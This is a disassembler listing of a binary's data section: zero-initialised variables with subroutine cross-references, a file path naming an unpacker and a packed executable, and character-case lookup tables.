dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8F0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8FC dd 0 ; DATA XREF: sub_409909+934w dword_4CB900 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB904 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB908 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB90C dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB910 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB914 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB91C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB920 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB928 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB92C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB934 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB938 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB93C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB940 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB944 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB948 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB950 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB954 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB958 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB95C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB960 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB964 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB968 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB96C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB970 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB974 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB978 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB97C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB980 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB984 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB988 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB98C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB998 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB99C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB9AC dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9B0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9C0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9D4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9E4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9EC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9F8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9FC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CBA04 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CBA08 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA10 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA14 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA18 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA1C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA20 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA24 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA2C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA30 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA34 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA40 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA44 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA4C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA54 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA58 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA5C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA60 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA64 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA68 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA6C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA70 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA7C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA80 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA88 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA8C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA90 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA9C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBAA4 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAB4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAC4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBACC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAD4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBADC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBB00 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBB04 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBB08 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBB0C dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB10 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB14 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB28 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB30 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB34 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dd 7FEh dup(0) dword_4CDB30 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB48 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB4C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB50 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB54 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB58 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBDC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBE0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBE8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBEC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCF0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDF4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDF8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDFC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDE00 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE84 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE88 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE90 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE94 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF98 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE09C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE0A0 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE0A4 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE0A8 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE12C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE130 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE138 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE13C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3C4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4D0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4D8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4DC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4E4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4EC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4F0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4F4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6FC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE704 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE708 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE714 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE718 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE720 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE728 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE72C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE73C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE744 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB70 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF190 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF604 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D3604 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D3608 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3640 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3840 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4040 dd 44h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383B8o dd 1BBh dup(0) dword_4D4840 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4844 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4848 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D484C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4850 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A50 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A58 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A5C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A60 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A64 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A68 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A6C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A74 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C74 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB188 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB18C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB390 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3EC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5EC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5F0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB64C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB84C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB850 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA50 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC54 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC58 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC5C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC60 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC64 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC98 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBCA0 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCDC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDDC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDE4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDEC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDF0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDF4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBE08 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBE0C dd 2450B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE14 dd 2450B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE24 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE2C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE34 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE38 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE40 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE44 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE4C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE50 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE54 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE58 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE5C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE60 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE68 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE6C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE70 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE74 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE78 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE7C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE80 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE84 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE88 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBEA4 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBEAC dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE24o align 4 dd 3Ah dup(0) dword_4DBFB4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFB8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFBC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFC0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFC4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFC8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFCA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFCC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFE8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFEC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFF0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFF4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFF8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFFC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DC000 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DC004 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DC008 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DC00C dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC010 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC014 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC018 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC020 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC024 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC028 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC02C dd 2451140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dd 4 dup(0) dword_4DC040 dd 400h dup(0) ; DATA XREF: ___:off_43D578o ; ___:0043D580o dword_4DD040 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD060 dd 2450650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD064 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD160 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD164 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD170 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD17C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD180 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD280 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD281 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 